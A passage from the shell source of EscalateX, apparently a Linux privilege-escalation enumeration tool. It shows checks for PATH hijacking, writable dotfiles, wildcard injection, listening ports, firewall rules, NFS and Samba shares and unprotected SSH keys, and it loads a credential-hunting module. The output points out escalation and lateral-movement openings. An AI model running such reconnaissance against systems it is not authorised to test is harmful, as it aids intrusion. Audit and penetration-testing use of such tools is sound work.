65 | scripts_using_cmd=$(grep -l "^[^#].*[^a-zA-Z0-9\/\._-]$cmd[^a-zA-Z0-9\/\._-]" /etc/cron* /etc/init.d/* /usr/local/bin/* /usr/local/sbin/* 2>/dev/null)
66 |
67 | if [ -n "$scripts_using_cmd" ]; then
68 | print_warning "Command '$cmd' is used without absolute path in scripts:"
69 | echo "$scripts_using_cmd" | head -n 5 | while read -r script; do
70 | print_warning " ${YELLOW}${script}${NC}"
71 | done
72 |
73 | if [ -n "${writable_path_dirs[0]}" ]; then
74 | print_critical "Creating a malicious version in ${writable_path_dirs[0]} may allow privilege escalation"
75 | fi
76 | fi
77 | fi
78 | done
79 | }
80 |
81 | # Check for writable home directory files
82 | check_home_directory_files() {
83 | print_subtitle "Writable Home Directory Files"
84 |
85 | print_info "Checking for writable files in home directories..."
86 |
87 | # Check for specific important dot files
88 | important_dotfiles=(".bashrc" ".bash_profile" ".profile" ".zshrc" ".zshenv" ".zprofile"
89 | ".vimrc" ".ssh/config" ".ssh/authorized_keys" ".config/fish/config.fish"
90 | ".cshrc" ".tcshrc" ".kshrc")
91 |
92 | current_user=$(whoami)
93 |
94 | for dotfile in "${important_dotfiles[@]}"; do
95 | if [ -f "$HOME/$dotfile" ] && [ -w "$HOME/$dotfile" ]; then
96 | print_warning "Writable $HOME/$dotfile found (can be used to maintain persistence)"
97 | fi
98 | done
99 |
100 | # Look for writable files owned by other users or root
101 | if [ "$THOROUGH" ]; then
102 | print_info "Looking for writable files owned by others or root (may take a while)..."
103 |
104 | other_owned_files=$(find /home -type f -writable ! -user "$current_user" 2>/dev/null | grep -v "/.cache/\|/.config/google-chrome\|/.mozilla/\|/.vscode/\|node_modules/")
105 |
106 | if [ -n "$other_owned_files" ]; then
107 | print_critical "Found writable files owned by other users:"
108 | echo "$other_owned_files" | while read -r file; do
109 | owner=$(ls -la "$file" 2>/dev/null | awk '{print $3}')
110 | print_critical " ${RED}${file}${NC} [Owner: ${owner}]"
111 | done
112 | print_critical "These files can be modified to potentially escalate privileges"
113 | else
114 | print_success "No writable files owned by other users found"
115 | fi
116 | fi
117 | }
118 |
119 | # Check for wildcard exploitation opportunities
120 | check_wildcard_injection() {
121 | print_subtitle "Wildcard Injection"
122 |
123 | print_info "Checking for wildcard injection opportunities in scripts..."
124 |
125 | # Look for scripts that use wildcards with tar, cp, rsync, etc.
126 | if [ -d "/etc/cron.daily" ]; then
127 | wildcard_scripts=$(grep -r -l "\*" /etc/cron.daily /etc/cron.hourly /etc/cron.weekly /etc/cron.monthly /usr/local/bin 2>/dev/null | grep -v ".git")
128 |
129 | if [ -n "$wildcard_scripts" ]; then
130 | print_warning "Found scripts potentially using wildcards:"
131 |
132 | echo "$wildcard_scripts" | while read -r script; do
133 | if grep -q "tar\s.*\*\|cp\s.*\*\|rsync\s.*\*\|chmod\s.*\*\|chown\s.*\*" "$script" 2>/dev/null; then
134 | print_critical " ${RED}${script}${NC} (contains wildcards with potentially exploitable commands)"
135 | print_critical " Run with: ${RED}wildcard_injection_check${NC} $script"
136 | else
137 | print_warning " ${YELLOW}${script}${NC} (contains wildcards)"
138 | fi
139 | done
140 |
141 | print_warning "Wildcard injection could be possible if the script runs with higher privileges"
142 | else
143 | print_success "No scripts with wildcard usage found"
144 | fi
145 | else
146 | print_not_found "Cron directories not found or not accessible"
147 | fi
148 | }
149 |
150 | # Main function to run all writable files checks
151 | writable_files_checks() {
152 | print_title "Writable Files & Directories"
153 |
154 | # Run all writable files checks
155 | check_writable_etc_files
156 | check_path_hijacking
157 | check_home_directory_files
158 | check_wildcard_injection
159 |
160 | # Wait for user if wait mode is enabled
161 | wait_for_user
162 | }
--------------------------------------------------------------------------------
/modules/loader.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # Title: Module Loader
4 | # Description: Load and initialize all modules for EscalateX
5 | # Author: Jonas Resch
6 |
7 | # Load core utilities
8 | if [ ! -f "modules/utils/core.sh" ]; then
9 | echo "Error: Core utilities module not found!" >&2
10 | exit 1
11 | fi
12 |
13 | source modules/utils/core.sh
14 |
15 | # Initialize the scan environment
16 | initialize_scan() {
17 | print_debug "Initializing scan environment"
18 |
19 | # Initialize global variables first (needed for start time)
20 | init_globals
21 |
22 | # Check privileges
23 | check_privileges
24 |
25 | # Create a temp directory for scan data if needed
26 | if [ "$EXTREME_SCAN" ] || [ "$THOROUGH" ]; then
27 | TEMP_DIR=$(create_temp_dir)
28 | if [ -n "$TEMP_DIR" ]; then
29 | print_debug "Created temporary directory: $TEMP_DIR"
30 | else
31 | print_error "Failed to create temporary directory. Some checks might fail."
32 | fi
33 | fi
34 | }
35 |
36 | # Function to load a module with error handling
37 | load_module() {
38 | local module_path="$1"
39 | local module_name="$2"
40 |
41 | if [ ! -f "$module_path" ]; then
42 | print_warning "Module not found: $module_path ($module_name)"
43 | # Define stub function to prevent errors if module is critical
44 | # Adjust as needed for other essential modules
45 | case "$module_name" in
46 | "System Information") system_info_checks() { print_error "System Info module missing!"; } ;;
47 | "User Information") user_info_checks() { print_error "User Info module missing!"; } ;;
48 | "SUID/SGID Checker") suid_sgid_checks() { print_error "SUID/SGID module missing!"; } ;;
49 | # Add stubs for other potentially critical modules if desired
50 | esac
51 | return 1
52 | fi
53 |
54 | print_debug "Loading module: $module_name ($module_path)"
55 | source "$module_path"
56 |
57 | if [ $? -ne 0 ]; then
58 | print_warning "Failed to load module: $module_name ($module_path)"
59 | return 1
60 | fi
61 |
62 | return 0
63 | }
64 |
65 | # Function to load all modules
66 | load_modules() {
67 | # System information modules
68 | load_module "modules/system_info/general.sh" "System Information"
69 |
70 | # User information modules
71 | load_module "modules/user_info/users.sh" "User Information"
72 |
73 | # Exploit checking modules
74 | load_module "modules/exploit_checks/suid_sgid.sh" "SUID/SGID Checker"
75 | load_module "modules/exploit_checks/writable_files.sh" "Writable Files"
76 | load_module "modules/exploit_checks/cron_jobs.sh" "Cron Jobs"
77 | load_module "modules/exploit_checks/docker_checks.sh" "Docker Checks"
78 | load_module "modules/exploit_checks/kernel_exploits.sh" "Kernel Exploits"
79 |
80 | # Credentials module
81 | load_module "modules/credentials/credentials_hunter.sh" "Credentials Hunter"
82 |
83 | # Network module (optional?)
84 | if [ -f "modules/network_info/network_checks.sh" ]; then
85 | load_module "modules/network_info/network_checks.sh" "Network Checks"
86 | else
87 | print_debug "Optional module not found: modules/network_info/network_checks.sh"
88 | network_checks() { print_warning "Network checks module not available"; }
89 | fi
90 |
91 | # Conditionally load modules based on scan intensity
92 | local conditional_modules=()
93 | if [ "$THOROUGH" ] || [ "$EXTREME_SCAN" ]; then
94 | print_debug "Loading thorough scan modules"
95 | conditional_modules+=(
96 | "modules/container_checks/container_escape.sh:Container Escape Checks"
97 | "modules/exploit_checks/sudo_helper.sh:Sudo Helper Checks"
98 | # Add other thorough modules here if they exist
99 | # "modules/cloud_checks/aws_azure_gcp.sh:Cloud Environment"
100 | # "modules/kubernetes/kube_checks.sh:Kubernetes"
101 | # "modules/exploit_checks/dbus_checks.sh:D-Bus Checks"
102 | # "modules/exploit_checks/library_checks.sh:Library Checks"
103 | )
104 | fi
105 |
106 | if [ "$EXTREME_SCAN" ]; then
107 | print_debug "Loading extreme scan modules"
108 | conditional_modules+=(
109 | # Add extreme modules here if they exist
110 | # "modules/memory_checks/memory_analysis.sh:Memory Analysis"
111 | # "modules/exploit_checks/deep_search.sh:Deep Search Checks"
112 | # "modules/exploit_checks/binary_analysis.sh:Binary Analysis Checks"
113 | )
114 | fi
115 |
116 | for module_info in "${conditional_modules[@]}"; do
117 | IFS=':' read -r module_path module_name <<< "$module_info"
118 | if [ -f "$module_path" ]; then
119 | load_module "$module_path" "$module_name"
120 | else
121 | print_debug "Conditional module not found: $module_path"
122 | # Define stub functions based on module name pattern
123 | func_name=$(basename "$module_path" .sh | sed 's/_checks$//')_checks
124 | eval "${func_name}() { print_warning \"${module_name} module not available\"; }"
125 | fi
126 | done
127 |
128 | print_debug "Finished loading modules"
129 | }
130 |
131 | # Run the appropriate checks based on the options
132 | run_checks() {
133 | # Welcome and initialization
134 | print_debug "Starting EscalateX scan"
135 |
136 | # Initialize (includes HTML header if enabled)
137 | initialize_scan
138 |
139 | # Load modules
140 | load_modules
141 |
142 | print_debug "Running selected checks..."
143 |
144 | # Run checks sequentially, allowing parallel execution within checks if enabled
145 | if [ "$CHECKS" = "all" ]; then
146 | # Basic/Core Checks
147 | system_info_checks
148 | user_info_checks
149 | suid_sgid_checks
150 | writable_files_checks
151 | cron_job_checks
152 | docker_environment_checks # Basic docker checks
153 | kernel_exploit_checks
154 | credentials_hunter_main
155 |
156 | # Network checks if available
157 | if command -v network_checks &>/dev/null; then network_checks; fi
158 |
159 | # Thorough Checks (run if function exists)
160 | if [ "$THOROUGH" ] || [ "$EXTREME_SCAN" ]; then
161 | if command -v container_escape_checks &>/dev/null; then container_escape_checks; fi
162 | if command -v sudo_helper_checks &>/dev/null; then sudo_helper_checks; fi
163 | # Add other thorough checks here
164 | # if command -v cloud_environment_checks &>/dev/null; then cloud_environment_checks; fi
165 | # if command -v kubernetes_checks &>/dev/null; then kubernetes_checks; fi
166 | # if command -v dbus_checks &>/dev/null; then dbus_checks; fi
167 | # if command -v library_checks &>/dev/null; then library_checks; fi
168 | fi
169 |
170 | # Extreme Checks (run if function exists)
171 | if [ "$EXTREME_SCAN" ]; then
172 | # Add extreme checks here
173 | # if command -v memory_analysis &>/dev/null; then memory_analysis; fi
174 | # if command -v deep_search_checks &>/dev/null; then deep_search_checks; fi
175 | # if command -v binary_analysis_checks &>/dev/null; then binary_analysis_checks; fi
176 | print_warning "Extreme scan checks are placeholders/not fully implemented."
177 | fi
178 |
179 | else
180 | # Run only selected checks
181 | IFS=',' read -ra selected_checks <<< "$CHECKS"
182 | print_info "Running only selected checks: ${selected_checks[*]}"
183 |
184 | for check in "${selected_checks[@]}"; do
185 | check=$(echo "$check" | tr -d '[:space:]')
186 | local func_name=""
187 |
188 | # Map check names to function names (adjust as needed)
189 | case "$check" in
190 | system_info) func_name="system_info_checks" ;;
191 | user_info) func_name="user_info_checks" ;;
192 | suid_sgid) func_name="suid_sgid_checks" ;;
193 | writable_files) func_name="writable_files_checks" ;;
194 | cron_jobs) func_name="cron_job_checks" ;;
195 | docker) func_name="docker_environment_checks" ;; # Basic docker checks
196 | kernel) func_name="kernel_exploit_checks" ;;
197 | credentials) func_name="credentials_hunter_main" ;;
198 | network) func_name="network_checks" ;;
199 | container_escape) func_name="container_escape_checks" ;; # Specific escape checks
200 | sudo) func_name="sudo_helper_checks" ;;
201 | # Add mappings for other check types
202 | *) print_warning "Unknown or unavailable check requested: $check" ;;
203 | esac
204 |
205 | # Check if the function exists and run it
206 | if [ -n "$func_name" ] && command -v "$func_name" &>/dev/null; then
207 | print_debug "Running specific check function: $func_name"
208 | eval "$func_name"
209 | elif [ -n "$func_name" ]; then
210 | print_warning "Check function '$func_name' for '$check' not found or module not loaded."
211 | fi
212 | done
213 | fi
214 |
215 | # Wait for any remaining background jobs if multithreaded
216 | wait_for_processes
217 | print_debug "All checks completed."
218 |
219 | # Cleanup temporary resources
220 | cleanup_resources
221 |
222 | # Print summary at the end
223 | print_summary
224 | }
225 |
226 | # Cleanup temporary resources
227 | cleanup_resources() {
228 | if [ -n "$TEMP_DIR" ] && [ -d "$TEMP_DIR" ]; then
229 | print_debug "Cleaning up temporary directory: $TEMP_DIR"
230 | rm -rf "$TEMP_DIR"
231 | fi
232 | }
233 |
234 | # Generate a summary of findings
235 | print_summary() {
236 | # Skip summary if quiet mode
237 | [ "$QUIET" ] && return
238 |
239 | print_title "Scan Summary"
240 |
241 | echo -e "${BLUE}[*] EscalateX scan completed at $(date)${NC}"
242 |
243 | # Calculate and show execution time
244 | END_TIME=$(date +%s)
245 | TOTAL_TIME=$((END_TIME - SCAN_START_TIME))
246 | local duration_str
247 | if [ "$TOTAL_TIME" -lt 60 ]; then
248 | duration_str="${TOTAL_TIME} seconds"
249 | elif [ "$TOTAL_TIME" -lt 3600 ]; then
250 | duration_str="$((TOTAL_TIME / 60)) minutes, $((TOTAL_TIME % 60)) seconds"
251 | else
252 | duration_str="$((TOTAL_TIME / 3600)) hours, $(((TOTAL_TIME % 3600) / 60)) minutes, $((TOTAL_TIME % 60)) seconds"
253 | fi
254 | echo -e "${BLUE}[*] Total execution time: ${WHITE}${duration_str}${NC}"
255 |
256 | # Show critical findings count
257 | if [ ${#CRITICAL_FINDINGS[@]} -gt 0 ]; then
258 | echo -e "${RED}[!] Critical findings detected: ${#CRITICAL_FINDINGS[@]}${NC}"
259 | echo -e "${RED}[!] Review the highlighted items in the scan results${NC}"
260 | else
261 | echo -e "${GREEN}[+] No critical findings detected${NC}"
262 | fi
263 |
264 | echo -e "${BLUE}[*] Remember to check the most promising privilege escalation vectors highlighted in ${RED}red${NC}"
265 |
266 | # Display a nice message
267 | echo -e "\n${GREEN}Thank you for using EscalateX!${NC}"
268 | }
269 |
270 | # Main initialization function
271 | init_modules() {
272 | # Run the selected checks (this now includes initialization)
273 | run_checks
274 | }
--------------------------------------------------------------------------------
/modules/network_info/network_checks.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # Title: Network Information and Vulnerability Checker
4 | # Description: Check for network misconfigurations and potential lateral movement vectors
5 | # Author: Jonas Resch
6 |
7 | check_network_interfaces() {
8 | print_subtitle "Network Interfaces"
9 |
10 | print_info "Checking network interfaces and configurations..."
11 |
12 | # Get all network interfaces
13 | if command_exists ip; then
14 | interfaces=$(ip -o link show | awk -F': ' '{print $2}')
15 |
16 | if [ -n "$interfaces" ]; then
17 | print_success "Found $(echo "$interfaces" | wc -l) network interfaces:"
18 |
19 | echo "$interfaces" | while read -r interface; do
20 | # Get IP address
21 | ip_addr=$(ip -o -4 addr show "$interface" 2>/dev/null | awk '{print $4}')
22 | ip_addr6=$(ip -o -6 addr show "$interface" 2>/dev/null | awk '{print $4}' | grep -v "fe80")
23 |
24 | # Get interface state
25 | state=$(ip -o link show "$interface" | awk '{print $9}')
26 |
27 | # Get MAC address
28 | mac=$(ip -o link show "$interface" | awk '{print $15}' | grep -E "([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}")
29 | if [ -z "$mac" ]; then
30 | mac=$(ip -o link show "$interface" | awk '{print $17}' | grep -E "([0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}")
31 | fi
32 |
33 | # Print interface info
34 | if [ -n "$ip_addr" ]; then
35 | print_success " ${CYAN}$interface${NC}: $ip_addr [$state] [$mac]"
36 |
37 | # Check for internal IPs on external interfaces
38 | if [[ "$interface" =~ ^(eth|en|wl) ]] && [[ "$ip_addr" =~ ^(10\.|172\.(1[6-9]|2[0-9]|3[0-1])\.|192\.168\.) ]]; then
39 | print_warning " ${YELLOW}→ Private IP detected on potentially external interface${NC}"
40 | fi
41 | elif [ -n "$ip_addr6" ]; then
42 | print_success " ${CYAN}$interface${NC}: $ip_addr6 [$state] [$mac]"
43 | else
44 | print_success " ${CYAN}$interface${NC}: No IPv4/IPv6 address [$state] [$mac]"
45 | fi
46 |
47 | # Check for promiscuous mode
48 | if ip -o link show "$interface" | grep -q "PROMISC"; then
49 | print_critical " ${RED}→ Interface is in PROMISCUOUS mode! Possible network sniffing.${NC}"
50 | fi
51 | done
52 | else
53 | print_warning "No network interfaces found"
54 | fi
55 | elif command_exists ifconfig; then
56 | # Fallback to ifconfig
57 | interfaces=$(ifconfig | grep -E "^[a-zA-Z0-9]+" | awk '{print $1}' | tr -d ':')
58 |
59 | if [ -n "$interfaces" ]; then
60 | print_success "Found $(echo "$interfaces" | wc -l) network interfaces:"
61 |
62 | echo "$interfaces" | while read -r interface; do
63 | # Get IP address
64 | ip_addr=$(ifconfig "$interface" | grep -oP 'inet addr:\K\S+' 2>/dev/null || ifconfig "$interface" | grep -oP 'inet\s+\K\S+' 2>/dev/null)
65 | ip_addr6=$(ifconfig "$interface" | grep -oP 'inet6 addr:\K\S+' 2>/dev/null || ifconfig "$interface" | grep -oP 'inet6\s+\K\S+' 2>/dev/null | grep -v "fe80")
66 |
67 | # Get MAC address
68 | mac=$(ifconfig "$interface" | grep -oP 'HWaddr\s+\K\S+' 2>/dev/null || ifconfig "$interface" | grep -oP 'ether\s+\K\S+' 2>/dev/null)
69 |
70 | # Print interface info
71 | if [ -n "$ip_addr" ]; then
72 | print_success " ${CYAN}$interface${NC}: $ip_addr [$mac]"
73 | elif [ -n "$ip_addr6" ]; then
74 | print_success " ${CYAN}$interface${NC}: $ip_addr6 [$mac]"
75 | else
76 | print_success " ${CYAN}$interface${NC}: No IPv4/IPv6 address [$mac]"
77 | fi
78 |
79 | # Check for promiscuous mode
80 | if ifconfig "$interface" | grep -q "PROMISC"; then
81 | print_critical " ${RED}→ Interface is in PROMISCUOUS mode! Possible network sniffing.${NC}"
82 | fi
83 | done
84 | else
85 | print_warning "No network interfaces found"
86 | fi
87 | else
88 | print_warning "Neither ip nor ifconfig commands are available"
89 | fi
90 | }
91 |
92 | check_listening_ports() {
93 | print_subtitle "Listening Ports"
94 |
95 | print_info "Checking for open ports and listening services..."
96 |
97 | # Check using ss command (preferred)
98 | if command_exists ss; then
99 | # Get listening TCP ports
100 | tcp_ports=$(ss -tlnp 2>/dev/null | grep -v "*:*" | grep "LISTEN")
101 |
102 | if [ -n "$tcp_ports" ]; then
103 | print_success "TCP ports listening for connections:"
104 |
105 | echo "$tcp_ports" | grep -v "127.0.0.1" | while read -r line; do
106 | local_address=$(echo "$line" | awk '{print $4}')
107 | process=$(echo "$line" | grep -oP 'users:\(\("\K[^"]+' | cut -d"," -f1)
108 |
109 | # Identify public-facing services
110 | if echo "$local_address" | grep -qv "127.0.0.1\|::1"; then
111 | port=$(echo "$local_address" | awk -F: '{print $NF}')
112 |
113 | # Check for dangerous ports
114 | case "$port" in
115 | 22)
116 | print_critical " ${RED}SSH${NC} - ${RED}$local_address${NC} - $process"
117 | ;;
118 | 445|139)
119 | print_critical " ${RED}SMB/Samba${NC} - ${RED}$local_address${NC} - $process"
120 | ;;
121 | 3389)
122 | print_critical " ${RED}RDP${NC} - ${RED}$local_address${NC} - $process"
123 | ;;
124 | 23)
125 | print_critical " ${RED}Telnet${NC} - ${RED}$local_address${NC} - $process"
126 | ;;
127 | *)
128 | print_warning " ${YELLOW}$local_address${NC} - $process"
129 | ;;
130 | esac
131 | else
132 | print_success " $local_address - $process"
133 | fi
134 | done
135 | else
136 | print_success "No TCP ports found listening for connections"
137 | fi
138 |
139 | # Get listening UDP ports
140 | udp_ports=$(ss -ulnp 2>/dev/null | grep -v "*:*")
141 |
142 | if [ -n "$udp_ports" ]; then
143 | print_success "UDP ports listening for connections:"
144 |
145 | echo "$udp_ports" | grep -v "127.0.0.1" | while read -r line; do
146 | local_address=$(echo "$line" | awk '{print $4}')
147 | process=$(echo "$line" | grep -oP 'users:\(\("\K[^"]+' | cut -d"," -f1)
148 |
149 | # Identify public-facing services
150 | if echo "$local_address" | grep -qv "127.0.0.1\|::1"; then
151 | port=$(echo "$local_address" | awk -F: '{print $NF}')
152 |
153 | # Check for dangerous ports
154 | case "$port" in
155 | 53)
156 | print_warning " ${YELLOW}DNS${NC} - ${YELLOW}$local_address${NC} - $process"
157 | ;;
158 | 161)
159 | print_warning " ${YELLOW}SNMP${NC} - ${YELLOW}$local_address${NC} - $process"
160 | ;;
161 | 69)
162 | print_warning " ${YELLOW}TFTP${NC} - ${YELLOW}$local_address${NC} - $process"
163 | ;;
164 | *)
165 | print_success " $local_address - $process"
166 | ;;
167 | esac
168 | else
169 | print_success " $local_address - $process"
170 | fi
171 | done
172 | else
173 | print_success "No UDP ports found listening for connections"
174 | fi
175 | # Fallback to netstat
176 | elif command_exists netstat; then
177 | # Get listening TCP ports
178 | tcp_ports=$(netstat -tlnp 2>/dev/null | grep "LISTEN")
179 |
180 | if [ -n "$tcp_ports" ]; then
181 | print_success "TCP ports listening for connections:"
182 |
183 | echo "$tcp_ports" | grep -v "127.0.0.1" | while read -r line; do
184 | local_address=$(echo "$line" | awk '{print $4}')
185 | process=$(echo "$line" | awk '{for(i=7;i<=NF;i++) printf "%s ", $i}')
186 |
187 | # Identify public-facing services
188 | if echo "$local_address" | grep -qv "127.0.0.1\|::1"; then
189 | port=$(echo "$local_address" | awk -F: '{print $NF}')
190 |
191 | # Check for dangerous ports
192 | case "$port" in
193 | 22)
194 | print_critical " ${RED}SSH${NC} - ${RED}$local_address${NC} - $process"
195 | ;;
196 | 445|139)
197 | print_critical " ${RED}SMB/Samba${NC} - ${RED}$local_address${NC} - $process"
198 | ;;
199 | 3389)
200 | print_critical " ${RED}RDP${NC} - ${RED}$local_address${NC} - $process"
201 | ;;
202 | 23)
203 | print_critical " ${RED}Telnet${NC} - ${RED}$local_address${NC} - $process"
204 | ;;
205 | *)
206 | print_warning " ${YELLOW}$local_address${NC} - $process"
207 | ;;
208 | esac
209 | else
210 | print_success " $local_address - $process"
211 | fi
212 | done
213 | else
214 | print_success "No TCP ports found listening for connections"
215 | fi
216 | else
217 | print_warning "Neither ss nor netstat commands are available"
218 | fi
219 | }
220 |
221 | check_iptables_rules() {
222 | print_subtitle "Firewall Rules"
223 |
224 | print_info "Checking firewall configuration..."
225 |
226 | # Check iptables firewall
227 | if command_exists iptables && [ "$IAMROOT" ]; then
228 | iptables_rules=$(iptables -L -n 2>/dev/null)
229 |
230 | if [ -n "$iptables_rules" ]; then
231 | print_success "iptables firewall rules:"
232 |
233 | # Check for default policies
234 | input_policy=$(iptables -L INPUT -n 2>/dev/null | head -n 1 | awk '{print $4}')
235 | forward_policy=$(iptables -L FORWARD -n 2>/dev/null | head -n 1 | awk '{print $4}')
236 | output_policy=$(iptables -L OUTPUT -n 2>/dev/null | head -n 1 | awk '{print $4}')
237 |
238 | # Print policies with appropriate colors
239 | if [ "$input_policy" = "ACCEPT" ]; then
240 | print_warning " ${YELLOW}INPUT chain policy: $input_policy${NC}"
241 | else
242 | print_success " INPUT chain policy: $input_policy"
243 | fi
244 |
245 | if [ "$forward_policy" = "ACCEPT" ]; then
246 | print_warning " ${YELLOW}FORWARD chain policy: $forward_policy${NC}"
247 | else
248 | print_success " FORWARD chain policy: $forward_policy"
249 | fi
250 |
251 | if [ "$output_policy" = "ACCEPT" ]; then
252 | print_success " OUTPUT chain policy: $output_policy"
253 | else
254 | print_warning " ${YELLOW}OUTPUT chain policy: $output_policy${NC}"
255 | fi
256 |
257 | # Check for any REJECT/DROP rules for incoming SSH (port 22)
258 | ssh_blocked=$(iptables -L INPUT -n 2>/dev/null | grep -E "REJECT|DROP" | grep -E "dpt:22|ssh")
259 | if [ -n "$ssh_blocked" ]; then
260 | print_success " SSH (port 22) appears to be blocked by firewall rules"
261 | elif [ "$input_policy" != "DROP" ] && [ "$input_policy" != "REJECT" ]; then
262 | print_warning " ${YELLOW}No specific rules to block SSH (port 22) were found${NC}"
263 | fi
264 |
265 | # Check for empty ruleset
266 | rule_count=$(iptables -L -n 2>/dev/null | grep -E "ACCEPT|REJECT|DROP" | wc -l)
267 | if [ "$rule_count" -lt 3 ]; then
268 | print_warning " ${YELLOW}Very few firewall rules detected ($rule_count). This might be insecure.${NC}"
269 | else
270 | print_success " Total rules: $rule_count"
271 | fi
272 | else
273 | print_warning "iptables is available but no rules were retrieved (might need root privileges)"
274 | fi
275 | elif command_exists ufw; then
276 | # Check UFW status
277 | ufw_status=$(ufw status 2>/dev/null)
278 |
279 | if [ -n "$ufw_status" ]; then
280 | print_success "UFW firewall status:"
281 |
282 | # Check if UFW is active
283 | if echo "$ufw_status" | grep -q "Status: active"; then
284 | print_success " UFW is active"
285 |
286 | # Print any open ports
287 | open_ports=$(echo "$ufw_status" | grep "ALLOW" | grep -v "(v6)")
288 | if [ -n "$open_ports" ]; then
289 | print_warning " ${YELLOW}Open ports:${NC}"
290 | echo "$open_ports" | while read -r line; do
291 | print_warning " ${YELLOW}→ $line${NC}"
292 |
293 | # Check for dangerous open ports
294 | if echo "$line" | grep -qE "22/tcp|23/tcp|3389/tcp|445/tcp"; then
295 | print_critical " ${RED}→ Security critical port is open to incoming connections!${NC}"
296 | fi
297 | done
298 | else
299 | print_success " No open ports detected in UFW rules"
300 | fi
301 | else
302 | print_warning " ${YELLOW}UFW is installed but not active${NC}"
303 | fi
304 | else
305 | print_warning "UFW is available but no status was retrieved (might need root privileges)"
306 | fi
307 | elif command_exists firewall-cmd; then
308 | # Check firewalld status
309 | firewalld_status=$(firewall-cmd --state 2>/dev/null)
310 |
311 | if [ "$firewalld_status" = "running" ]; then
312 | print_success "firewalld is active"
313 |
314 | # Get default zone
315 | default_zone=$(firewall-cmd --get-default-zone 2>/dev/null)
316 | print_success " Default zone: $default_zone"
317 |
318 | # List open ports in default zone
319 | open_ports=$(firewall-cmd --zone="$default_zone" --list-ports 2>/dev/null)
320 | if [ -n "$open_ports" ]; then
321 | print_warning " ${YELLOW}Open ports in $default_zone zone:${NC}"
322 |
323 | # Check for dangerous open ports
324 | for port in $open_ports; do
325 | print_warning " ${YELLOW}→ $port${NC}"
326 |
327 | if [[ "$port" =~ ^(22|23|3389|445)/ ]]; then
328 | print_critical " ${RED}→ Security critical port is open to incoming connections!${NC}"
329 | fi
330 | done
331 | else
332 | print_success " No open ports detected in $default_zone zone"
333 | fi
334 | else
335 | print_warning " ${YELLOW}firewalld is installed but not active${NC}"
336 | fi
337 | else
338 | print_warning "No supported firewall (iptables, ufw, firewalld) detected"
339 | fi
340 | }
341 |
342 | check_network_shares() {
343 | print_subtitle "Network Shares"
344 |
345 | print_info "Checking for shared network resources..."
346 |
347 | # Check for NFS exports
348 | if [ -f /etc/exports ]; then
349 | nfs_shares=$(grep -v "^#" /etc/exports 2>/dev/null | grep -v "^$")
350 |
351 | if [ -n "$nfs_shares" ]; then
352 | print_warning "NFS shares exported to the network:"
353 |
354 | echo "$nfs_shares" | while read -r line; do
355 | print_warning " ${YELLOW}→ $line${NC}"
356 |
357 | # Check for dangerous NFS options
358 | if echo "$line" | grep -qE "no_root_squash|no_all_squash"; then
359 | print_critical " ${RED}→ This NFS share has dangerous options (no_root_squash)!${NC}"
360 | print_critical " ${RED}→ Remote root users can create files as root on this system.${NC}"
361 | fi
362 | done
363 | else
364 | print_success "No NFS shares found"
365 | fi
366 | fi
367 |
368 | # Check for Samba shares
369 | if [ -f /etc/samba/smb.conf ]; then
370 | samba_shares=$(grep -E "^\s*\[.*\]" /etc/samba/smb.conf 2>/dev/null | grep -v "\[global\]")
371 |
372 | if [ -n "$samba_shares" ]; then
373 | print_warning "Samba shares available on the network:"
374 |
375 | echo "$samba_shares" | while read -r line; do
376 | share_name=$(echo "$line" | tr -d '[]')
377 | print_warning " ${YELLOW}→ $share_name${NC}"
378 |
379 | # Get share path and permissions
380 | path=$(grep -A 20 "^\s*\[$share_name\]" /etc/samba/smb.conf | grep "path" | head -n 1 | awk -F= '{print $2}' | tr -d ' ')
381 | writable=$(grep -A 20 "^\s*\[$share_name\]" /etc/samba/smb.conf | grep -E "writable|writeable" | head -n 1)
382 | guest_ok=$(grep -A 20 "^\s*\[$share_name\]" /etc/samba/smb.conf | grep "guest ok" | head -n 1)
383 |
384 | if [ -n "$path" ]; then
385 | print_warning " ${YELLOW}→ Path: $path${NC}"
386 |
387 | # Check for dangerous Samba configurations
388 | if echo "$writable" | grep -q "yes"; then
389 | print_warning " ${YELLOW}→ Share is writable${NC}"
390 | fi
391 |
392 | if echo "$guest_ok" | grep -q "yes"; then
393 | print_critical " ${RED}→ Guest access is allowed!${NC}"
394 | fi
395 | fi
396 | done
397 | else
398 | print_success "No Samba shares found"
399 | fi
400 | fi
401 |
402 | # Check for mounted network shares
403 | mounted_shares=$(mount | grep -E "nfs|cifs|smb")
404 |
405 | if [ -n "$mounted_shares" ]; then
406 | print_warning "Mounted network shares:"
407 |
408 | echo "$mounted_shares" | while read -r line; do
409 | print_warning " ${YELLOW}→ $line${NC}"
410 | done
411 | else
412 | print_success "No mounted network shares found"
413 | fi
414 | }
415 |
416 | check_network_credentials() {
417 | print_subtitle "Network Credentials"
418 |
419 | print_info "Checking for stored network credentials..."
420 |
421 | # Check for SSH keys
422 | if [ -d "$HOME/.ssh" ]; then
423 | ssh_files=$(find "$HOME/.ssh" -type f -name "id_*" 2>/dev/null)
424 |
425 | if [ -n "$ssh_files" ]; then
426 | print_warning "SSH keys found:"
427 |
428 | echo "$ssh_files" | while read -r key; do
429 | # Check key permissions
430 | key_perms=$(ls -la "$key" | awk '{print $1}')
431 |
432 | if [[ "$key_perms" =~ [g|o][r|w|x] ]]; then
433 | print_critical " ${RED}→ $key${NC} [$key_perms] (Bad permissions!)"
434 | else
435 | print_warning " ${YELLOW}→ $key${NC} [$key_perms]"
436 | fi
437 |
438 | # Check if key is encrypted
439 | if [[ "$key" != *.pub ]] && grep -q "ENCRYPTED" "$key" 2>/dev/null; then
440 | print_success " → Key is encrypted with a passphrase"
441 | elif [[ "$key" != *.pub ]]; then
442 | print_critical " ${RED}→ Key is NOT encrypted with a passphrase!${NC}"
443 | fi
444 | done
445 | else
446 | print_success "No SSH keys found"
447 | fi
448 | fi
449 |
450 | # Check SSH authorized_keys
451 | if [ -f "$HOME/.ssh/authorized_keys" ]; then
452 | authorized_keys=$(cat "$HOME/.ssh/authorized_keys" 2>/dev/null | grep -v "^#" | grep -v "^$")
453 |
454 | if [ -n "$authorized_keys" ]; then
455 | print_warning "SSH authorized_keys entries:"
456 |
457 | echo "$authorized_keys" | wc -l | xargs -I{} print_warning " ${YELLOW}→ {} keys found${NC}"
458 |
459 | # Check permissions
460 | auth_perms=$(ls -la "$HOME/.ssh/authorized_keys" | awk '{print $1}')
